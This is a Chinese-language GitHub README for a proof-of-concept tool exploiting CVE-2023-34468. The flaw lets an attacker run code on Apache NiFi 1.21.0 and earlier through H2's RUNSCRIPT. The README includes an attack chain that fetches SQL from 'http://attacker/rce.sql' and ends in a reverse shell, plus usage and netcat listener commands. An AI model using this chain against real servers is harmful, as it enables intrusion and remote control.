sbouabid-sec/CVE-2023-34468-POC
GitHub: sbouabid-sec/CVE-2023-34468-POC
这是一个验证Apache NiFi H2数据库RUNSCRIPT漏洞远程代码执行的PoC工具。
Stars: 2 | Forks: 0
# CVE-2023-34468 — Apache NiFi 1.21.0 远程代码执行(RCE)概念验证
通过 Apache NiFi <= 1.21.0 中的 H2 数据库 RUNSCRIPT 实现远程代码执行
## 漏洞详情
Apache NiFi 默认捆绑了 H2 数据库 JAR 包。`DBCPConnectionPool` 控制器服务可配置使用此 H2 驱动程序。H2 支持 `RUNSCRIPT` 语句,该语句可从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 `CREATE ALIAS` 定义任意 Java 代码,并在服务器操作系统上执行。
**攻击链:**
```
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
```
## 受影响版本
| 软件 | 版本 |
|-------------|---------------|
| Apache NiFi | <= 1.21.0 |
| 修复于 | 1.21.1+ |
| Java | 任何(捆绑版本) |
## 前置条件
- Python 3.x
- `requests` 库 → `pip install requests`
- 目标 NiFi 实例需具备匿名写入权限 或 提供有效凭据
- 目标主机到您机器(用于反弹 shell 回调)的网络访问
## 用法
```
python3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
```
### 参数说明
| 参数 | 默认值 | 描述 |
|--------------|---------------------------|-----------------------------------|
| `--target` | http://NiFi.target.com | 目标 NiFi 基础 URL |
| `--lhost` | 10.10.10.10 | 您的 IP 地址(tun0) |
| `--lport` | 4444 | 反弹 shell 监听端口 |
| `--http-port`| 80 | 提供 rce.sql 文件的 HTTP 端口 |
| `--cleanup` | False | 运行后删除创建的文件 |
## 环境设置
**终端 1 — 监听器:**
```
nc -lvnp 4444
```
**终端 2 — 漏洞利用:**
```
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
```
## 概念验证实现的功能
```
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)
```
标签:Apache NiFi, CISA项目, CVE-2023-34468, H2数据库, Java代码执行, PoC, 反弹shell, 安全测试, 攻击性安全, 攻击链, 数据库漏洞, 暴力破解, 漏洞分析, 编程工具, 网络安全, 路径探测, 远程代码执行, 逆向工具, 隐私保护